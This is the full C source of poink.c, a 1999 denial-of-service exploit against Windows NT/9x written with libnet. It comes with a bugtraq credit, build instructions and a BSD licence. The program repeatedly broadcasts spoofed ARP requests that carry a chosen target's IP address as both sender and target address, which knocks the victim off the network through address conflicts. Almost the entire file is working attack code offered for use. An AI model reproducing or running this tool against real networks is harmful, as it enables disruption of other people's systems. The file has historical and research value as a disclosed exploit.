/*
 *  $Id$
 *
 *  poink.c - NT/9x DOS attack
 *
 *  Code:
 *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
 *                         route|daemon9 <route@infonexus.com>
 *  All rights reserved.
 *
 *  Original Idea:
 *  Joel Jacobson (joel@mobila.cx)
 *
 *  This simple exploit was written as per the specification from Joel
 *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
 *
 *  Needs libnet 0.99.
 *  Currently:  http://lazy.accessus.net/~route/libnet
 *  Soon:       http://www.packetfactory.net/
 *
 *  gcc poink.c -o poink -lnet
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <libnet.h>

u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

int send_arp(struct link_int *, u_long, u_char *);
void usage(u_char *);

int
main(int argc, char *argv[])
{
  int c, amount;
  char errbuf[256];
  char *device = NULL;
  struct link_int *l;
  u_long ip;

  amount = 20;
  while ((c = getopt(argc, argv, "n:i:")) != EOF)
    {
      switch (c)
        {
        case 'i':
          device = optarg;
          break;
        case 'n':
          amount = atoi(optarg);
          break;
        default:
          exit(EXIT_FAILURE);
        }
    }

  if (!device)
    {
      usage(argv[0]);
      exit(EXIT_FAILURE);
    }

  if (argc <= optind)
    {
      usage(argv[0]);
      exit(EXIT_FAILURE);
    }
  else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
    {
      fprintf(stderr, "Cannot resolve IP address\n");
      exit(EXIT_FAILURE);
    }

  l = libnet_open_link_interface(device, errbuf);
  if (!l)
    {
      fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
      exit(EXIT_FAILURE);
    }

  while (amount--)
    {
      c = send_arp(l, ip, device);
      if (c == -1)
        {
          /* bail on the first error */
          break;
        }
    }
  printf("\n");
  return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


int
send_arp(struct link_int *l, u_long ip, u_char *device)
{
  int n;
  u_char *buf;

  if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
    {
      perror("libnet_init_packet memory:");
      exit(EXIT_FAILURE);
    }

  /*
   *  Ethernet header
   */
  libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

  /*
   *  ARP header
   */
  libnet_build_arp(ARPHRD_ETHER,
                   ETHERTYPE_IP,
                   6,
                   4,
                   ARPOP_REQUEST,
                   enet_src,
                   (u_char *)&ip,
                   enet_dst,
                   (u_char *)&ip,
                   NULL,
                   0,
                   buf + ETH_H);

  n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);

  fprintf(stderr, ".");

  libnet_destroy_packet(&buf);
  return (n);
}


void
usage(u_char *name)
{
  fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
}